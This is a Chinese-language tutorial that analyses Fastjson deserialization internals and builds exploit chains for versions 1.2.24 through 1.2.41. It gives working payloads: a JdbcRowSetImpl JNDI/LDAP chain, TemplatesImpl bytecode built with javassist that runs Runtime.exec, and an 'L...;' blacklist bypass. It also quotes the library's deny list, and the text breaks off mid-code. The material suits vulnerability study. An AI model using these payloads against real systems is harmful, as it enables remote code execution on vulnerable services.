Fastjson系列
FastJson系列
前置知识
环境搭建:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
如果无法下载源码使用下面命令:
mvn dependency:resolve -Dclassifier=sources
序列化
先写一个javabean:
package org.example;
public class user {
private String name;
private int age;
public user() {
System.out.println("调用构造函数");
}
public String getName() {
System.out.println("调用getName");
return name;
}
public void setName(String name) {
System.out.println("调用setName");
this.name = name;
}
public int getAge() {
System.out.println("调用getAge");
return age;
}
public void setAge(int age) {
System.out.println("调用setAge");
this.age = age;
}
}
然后使用com.alibaba.fastjson.JSON
将user对象序列化为json字符串
public static void main( String[] args )
{
user A = new user();
A.setAge(18);
A.setName("Tree");
String s = JSON.toJSONString(A);
System.out.println(s);
}
输出:
调用构造函数 //user A = new user();
调用setAge //A.setAge(18);
调用setName //A.setName("Tree");
调用getAge
调用getName
{"age":18,"name":"Tree"}
可以看到,使用toJSONString(A)
的时候,会自动调用user类的getter方法
同样的,如果使用toJSONString(A, SerializerFeature.WriteClassName)
public static void main( String[] args )
{
user A = new user();
A.setAge(18);
A.setName("Tree");
String s = JSON.toJSONString(A, SerializerFeature.WriteClassName);
System.out.println(s);
}
输出结果:
调用构造函数
调用setAge
调用setName
调用getAge
调用getName
{"@type":"org.example.user","age":18,"name":"Tree"}
SerializerFeature.WriteClassName
是toJSONString
设置的一个属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名
反序列化
上面是利用JSON.toJSONString
进行序列化,反序列化是利用parse()
或parseObject()
其实这个parseObject()
也是调用了parse(),只是多出了一个JSON.toJSON()处理
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
先看看这两个方法的区别
public static void main( String[] args )
{
String jsonstr1 = "{\"age\":18,\"name\":\"Tree\"}";
System.out.println(JSON.parse(jsonstr1));
System.out.println(JSON.parseObject(jsonstr1));
System.out.println(JSON.parseObject(jsonstr1, user.class));
}
输出:
{"name":"Tree","age":18}
{"name":"Tree","age":18}
调用构造函数
调用setAge
调用setName
org.example.user@1a7e7ff
可以看到,当要处理的json字符串为{"age":18,"name":"Tree"}
时,parse(jsonstr1)和parseObject(jsonstr1)执行效果是一样的,如果使用parseObject(jsonstr1, user.class)指定class时,会自动调用这个类的setter方法和构造函数
当要处理的字符串为{"@type":"org.example.user","age":18,"name":"Tree"}
时
public static void main( String[] args )
{
String jsonstr2 = "{\"@type\":\"org.example.user\",\"age\":18,\"name\":\"Tree\"}";
System.out.println(JSON.parse(jsonstr2));
System.out.println(JSON.parseObject(jsonstr2));
System.out.println(JSON.parseObject(jsonstr2, user.class));
}
输出:
调用构造函数
调用setAge
调用setName
org.example.user@1ef04b5
调用构造函数
调用setAge
调用setName
调用getAge
调用getName
{"name":"Tree","age":18}
调用构造函数
调用setAge
调用setName
org.example.user@d6993a
可以看到使用parse处理,会调用org.example.user
这个类的构造函数和setter方法,而parseObject
是构造方法,setter和getter方法都调用,如果parseObject
添加了 指定的类,就只是调用构造方法和set方法
还可以发现@type的作用是用来指定解析类的
反序列化流程
这里使用parseObject进行调试,因为这个方法里面已经调用 了parse()方法了
String jsonstr2 = "{\"@type\":\"org.example.user\",\"age\":18,\"name\":\"Tree\"}";
System.out.println(JSON.parseObject(jsonstr2));
首先来到parseObject()
方法
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
跟进parse(text)
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
继续跟进
public static Object parse(String text, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
在这里发现,创建了一个DefaultJSONParser
对象,构造函数如下, 跟进字符串开头进行设置token,当前开头为{
,所以token=JSONToken.LBRACE
public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}
}
然后调用了它的parse()
方法,真正的解析是在这里
跟进这个parse()方法
public Object parse() {
return parse(null);
}
继续跟进
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
....
case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);
....
}
}
这个解析函数会跟据刚刚构造函数设置的token进入不同的分支,这里就进入了LBRACE
分支,跟进parseObject(object, fieldName)
在这个parseObject中,前面会解析出key值,再通过if判断是否为@type
,如果是并且满足!lexer.isEnabled(Feature.DisableSpecialKeyDetect)
,大概就是没有禁用特殊键检测,则进入if语句
进入if语句后,首先通过lexer.scanSymbol(symbolTable, '"')
获取@type对应的value,也就是指定的类名,然后在通过TypeUtils.loadClass
加载这个类
loadClass的代码如下:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
// skip
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable e) {
// skip
}
return clazz;
}
首先,检查 className 是否为空或长度为零。如果是,则返回 null。
接着,尝试从 mappings(一个缓存)中获取已加载的类对象。如果找到了,则直接返回。
如果 className 是一个数组类型(以 “[“ 开头),则递归调用 loadClass 方法来加载数组元素类型的类对象,并通过 Array.newInstance 创建一个长度为 0 的数组实例,最后返回其类对象。
如果 className 以 “L” 开头并以 “;” 结尾,说明它是一个带有包名的类名,去除首尾的字符后递归调用 loadClass 方法来加载真实的类对象,并返回。
如果以上条件都不满足,则尝试通过提供的 classLoader 加载类对象。如果 classLoader 不为空,则使用它来加载类,并将加载的类对象保存到 mappings 中,然后返回。
如果使用 classLoader 加载失败,则尝试使用当前线程的上下文类加载器(contextClassLoader)加载类对象,并将加载的类对象保存到 mappings 中,然后返回。
如果前面的步骤都失败,则使用 Class.forName 方法加载指定名称的类对象,并将加载的类对象保存到 mappings 中,最后返回。
如果所有的尝试都失败了,最后返回 null。
回到parseObject中
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
这个是进入if判断的结尾,根据加载得到clazz获取反序列化器
跟进getDeserializer
这里存在一个黑名单限制可以反序列化的类,黑名单里面只有Thread
然后往下,运行到
derializer = createJavaBeanDeserializer(clazz, type);
跟进createJavaBeanDeserializer方法,里面会调用JavaBeanInfo.build()
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
跟进这个build
在这个方法中,会通过反射获取clazz这个类的属性值和方法名,然后就是对setter和getter方法的处理和判断:
setter自动调用需要满足以下条件:
- 方法名长度大于4
if (methodName.length() < 4) {
continue;
}
- 非静态方法
if (Modifier.isStatic(method.getModifiers())) {
continue;
}
- 返回值为void或者当前类
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
- 以set开头且第四个字母为大写
if (!methodName.startsWith("set")) {
continue;
}
char c3 = methodName.charAt(3);
String propertyName;
if (Character.isUpperCase(c3) //
|| c3 > 512 // for unicode method name
) {}
- 参数个数为1个
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}
解析完setter方法后再处理getter方法
同理:getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
- 此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
解析完后将满足条件的方法添加到fieldList里面
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));
解析完后返回到parseObject()
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
在deserializer.deserialze()这里进行了反序列化调用了setter方法,由于调试的时候无法跟进,这里就不分析了
然后返回到JSON类下的 parseObject()
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
走完了parse()后调用了setter方法,然后再往下调用JSON.toJSON
运行到这里:
if (serializer instanceof JavaBeanSerializer) {
JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer) serializer;
JSONObject json = new JSONObject();
try {
Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
for (Map.Entry<String, Object> entry : values.entrySet()) {
json.put(entry.getKey(), toJSON(entry.getValue()));
}
} catch (Exception e) {
throw new JSONException("toJSON error", e);
}
return json;
}
跟进getFieldValuesMap
,其中javaObject就是@type指定的类
public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
Map<String, Object> map = new LinkedHashMap<String, Object>(sortedGetters.length);
for (FieldSerializer getter : sortedGetters) {
map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
}
return map;
}
这里getter.getPropertyValue
直接传入参数object,跟进查看
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = fieldInfo.get(object);
if (format != null && propertyValue != null) {
if (fieldInfo.fieldClass == Date.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(format);
dateFormat.setTimeZone(JSON.defaultTimeZone);
return dateFormat.format(propertyValue);
}
}
return propertyValue;
}
继续跟进fieldInfo.get(object)
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
if (method != null) {
Object value = method.invoke(javaObject, new Object[0]);
return value;
}
return field.get(javaObject);
}
到这里可以看到method.invoke,通过反射调用方法,这里调用的就是getter方法
然后返回到JSON.toJSON
try {
Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
for (Map.Entry<String, Object> entry : values.entrySet()) {
json.put(entry.getKey(), toJSON(entry.getValue()));
}
} catch (Exception e) {
throw new JSONException("toJSON error", e);
}
return json;
然后通过json.put逐渐构建出json对象,返回json
整个反序列化的过程大概就是这样子了,总的可以知道在处理json字符串的时候parse
或parseObject
会调用@type指定的类的setter方法给属性赋值,如果要调用getter方法需要使用parseObject
就是这个自动调用的特性,造成了序列化漏洞
省流
- 当反序列化为
JSON.parseObject(*)
形式即未指定class时,会调用反序列化得到的类的构造函数、所有属性的getter方法、JSON里面的非私有属性的setter方法,其中properties属性的getter方法会被调用两次; - 当反序列化为
JSON.parseObject(*,*.class)
形式即指定class时,只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter方法、properties属性的getter方法; - 当反序列化为
JSON.parseObject(*)
形式即未指定class进行反序列化时得到的都是JSONObject类对象,而只要指定了class即JSON.parseObject(*,*.class)
形式得到的都是特定的Student类; - 存在无参构造方法:使用无参构造方法创建对象,并通过反射设置属性值
- 不存在无参构造方法,但存在有参构造方法:尝试根据 JSON 字符串的属性名称查找相应的构造方法参数,并通过反射调用有参构造方法创建对象,并设置属性值。
setter自动调用需要满足以下条件:
方法名长度大于4
非静态方法
返回值为void或者当前类
以set开头且第四个字母为大写
参数个数为1个
getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 必须是 public 修饰
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
- 此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
除此之外Fastjson还有以下功能点:
- 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数 - fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_
和-
字符串 - fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
$ref
当fastjson版本>=1.2.36时,我们可以使用$ref
的方式来调用任意的getter
语法 | 描述 |
---|---|
{“$ref”:”$”} | 引用根对象 |
{“$ref”:”@”} | 引用自己 |
{“$ref”:”..”} | 引用父对象 |
{“$ref”:”../..”} | 引用父对象的父对象 |
{“$ref”:”$.members[0].reportTo”} | 基于路径的引用 |
补充:
在给setter方法设置传入的参数的时候key是根据setter的名字决定的,例如
public void setName(String val) {
System.out.println("调用setName");
this.n = val;
}
如果调用setName的时候设置传入的参数val的值,key的名称只能是name/Name ,就是函数名去除掉set/get剩余的部分
{"Name":"xxxxx"}
或者
{"name":"xxxxx"}
不能这样
{"n":"xxxxx"}或者{"val":"xxxxx"}
反序列化的时候调用的构造函数是无参构造函数
Fastjson<=1.2.24
1.2.24版本是第一个被暴露出漏洞的版本
JNDI利用链
根据fastjson的特性找到可利用的类,这里的利用类是com.sun.rowset.JdbcRowSetImpl
在这个类中,利用点在connect方法里
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
这里可以看到new InitialContext()和lookup()方法,如果this.getDataSourceName()可控,这不就JDNI注入了吗
根进this.getDataSourceName()
,这里是调用了父类的getDataSourceName方法
public String getDataSourceName() {
return dataSource;
}
下面是对应的setter方法
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
所以只有构造如下,即可调用这个setter方法给dataSource
赋值
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc"}
然后调用connect方法的时候就会调用getDataSourceName()获取到dataSource的内容
下一步就是如何调用connect方法
通过查找,在这个类下找到两个,第一个是getDatabaseMetaData
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
如果反序列化调用了这个getter方法,就会调用connect(),但是反序列化过程不会调用这个方法,因为这个方法的返回值是DatabaseMetaData,不满足返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
如果要调用这个get方法,只能通过parseObject方法里面的JSON.toJSON
,但是要确保parse()不报错(这很难)
然后找下一个
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
因为反序列化的时候调用无参构造函数的时候,this.conn=null,所以这里会进入else分支调用connect
综上所述,POC构造如下
String jsonstr3 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
JSON.parse(jsonstr3);//或者JSON.parseObject(jsonstr3)
注意:
因为这个是存在一个调用顺序的,反序列化的过程中,先调用满足条件的setter方法,根据这个字符串从左往右依次执行,例如这个,先调用setDatabaseMetaData(), 然后再调用setAutoCommit,刚刚好先赋值再执行
所以将顺序调换是用不了的
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"AutoCommit\":true,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}
如果是getter方法的话,就是先getAutoCommit()再getDatabaseMetaData()刚好反过来,顺序是从右往左
TemplatesImpl 利用链
javassist:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
这里利用的是下面这个类:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
和CC2这条链的利用差不多,还是这个defineTransletClasses
方法
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这个方法会创建一个长度为_bytecodes.length
的数组_class
,然后循环遍历每个转换类的字节码,并通过loader.defineClass(_bytecodes[i])
方法将字节码转换为实际的Class
对象,如果_bytecodes
保存的是恶意的字节码,那这里就可以获得一个恶意的Class对象了
这个恶意类必须继承AbstractTranslet
,因为:
//private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
如何获取恶意的字节码?
使用javassist来构造
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
下一步考虑_bytecodes如何赋值
private synchronized void setTransletBytecodes(byte[][] bytecodes) {
_bytecodes = bytecodes;
}
这个setter方法可以给_bytecodes
赋值的但是它是private
修饰的,反序列化时不会调用,找遍了setter和getter方法也没有找到一个可以让_bytecodes
赋值的地方
如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField
参数
JSON.parse(payload, Feature.SupportNonPublicField);
或
JSON.parseObject(payload, Feature.SupportNonPublicField);
所以构造payload如下:
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"_bytecodes\"]}"
下一步就是要想如何调用defineTransletClasses()
按照CC2的利用链是找到了getTransletInstance()这个方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这个方法刚好可以运行defineTransletClasses
后调用了newInstance()对_class进行了实例化,只要控制_name
不为null即可
但是这个getter方法不能直接调用,又是private修饰
继续往上寻找能够调用getTransletInstance的方法
找到这个newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
这个方法不上setter或者getter, 继续寻找调用newTransformer
方法的地方
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
这个getter满足自动调用的条件,可以用, 刚好存在_outputProperties
属性。Properties类型继承自 Hashtable
,所以给个空键值对{}
即可
payload如下:
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"_bytecodes\"],\"_outputProperties\":{}}"
在结合一下上面提到的条件_name
不为null
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"_bytecodes\"],\"_name\":\"AA\",\"_outputProperties\":{}}";
然后运行发现,正常流程都走完了,就是没有运行恶意代码
调试发现在com.alibaba.fastjson.parser.JSONScanner#bytesValue中,如果Field类型为byte[],会进行base64解码
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}
所以将生成的_bytecodes进行base64编码即可
最终POC
package org.example;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.alibaba.fastjson.parser.JSONScanner;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
byte[] encodedBytes = Base64.getEncoder().encode(bytes);
String base64Code=new String(encodedBytes, StandardCharsets.UTF_8);
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+base64Code+"\"],\"_name\":\"aa\",\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
// JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
因为上面测试的jdk版本为8u41,和高版本的payload不一样
思想是一样的,只是多控制了个参数
在高版本的defineTransletClasses中,loader变了 ,这里还需要控制_tfactory
不为空
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
所以构造POC:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64Code"],
"_name":"aa",
"_tfactory":{ },
"_outputProperties":{},
"_version":""
}
Fastjson1.2.25-1.2.41
条件:开启AutoType
环境搭建:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
在这个版本中对前面的版本漏洞进行了修复
在此版本中,新增了黑名单和白名单功能
在ParserConfig
中,可以看到黑名单的内容,而且设置了一个autoTypeSupport
用来控制是否可以反序列化,autoTypeSupport
默认为false
且禁止反序列化,为true时会使用checkAutoType
来进行安全检测
private boolean autoTypeSupport = AUTO_SUPPORT;
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;//[]
可以看上面版本利用的com.sun.
在黑名单里面
在checkAutoType
中进行了黑白名单检查,但是调试发现白名单为空
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
首先autoTypeSupport默认为false,如果要修改为true,可以通过服务的添加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
进入上面的判断后,先进行白名单检查,如果找到,则直接返回class,如果没找到,往下进行黑名单检查
还有
当autoTypeSupport为false的时候会进入下面的逻辑
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
这里和上面的差不多,但是是先进行黑名单检查,再进行白名单检查
如果黑白名单里面都没找到,那只能
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
如果这个if也进不去,返回clazz=null
绕过分析
无论autoTypeSupport是否为true,都需要经过检查黑白名单,看似只能找到其他的利用类绕过黑名单
先看看loadClass的逻辑
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {//[开头
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {//L开头,;结尾
String newClassName = className.substring(1, className.length() - 1);//去除开头和结尾
return loadClass(newClassName, classLoader);
}
.......
}
很明显的看到这里会对className进行处理,如果className的开头为[
,会去掉这个开头再加载
但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。
如果是L开头,;
结尾的,会去除L
和;
进行加载,直接返回加载结果
1.2.24版本的链子是这样的
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}"
如果将其修改为
"{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}"
就可以绕过黑名单中对com.sun
的检测了
但是绕过黑白名单后,还是没法进行loadclass,只剩下
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
为了能够进入这个if语句,只能在服务段进行修改,添加下面语句:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
完整POC
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
public static void main( String[] args ) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
JSON.parseObject(payload);
}
}
同理,TemplatesImpl 利用链也可以利用
package org.example;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
byte[] encodedBytes = Base64.getEncoder().encode(bytes);
String base64Code=new String(encodedBytes, StandardCharsets.UTF_8);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
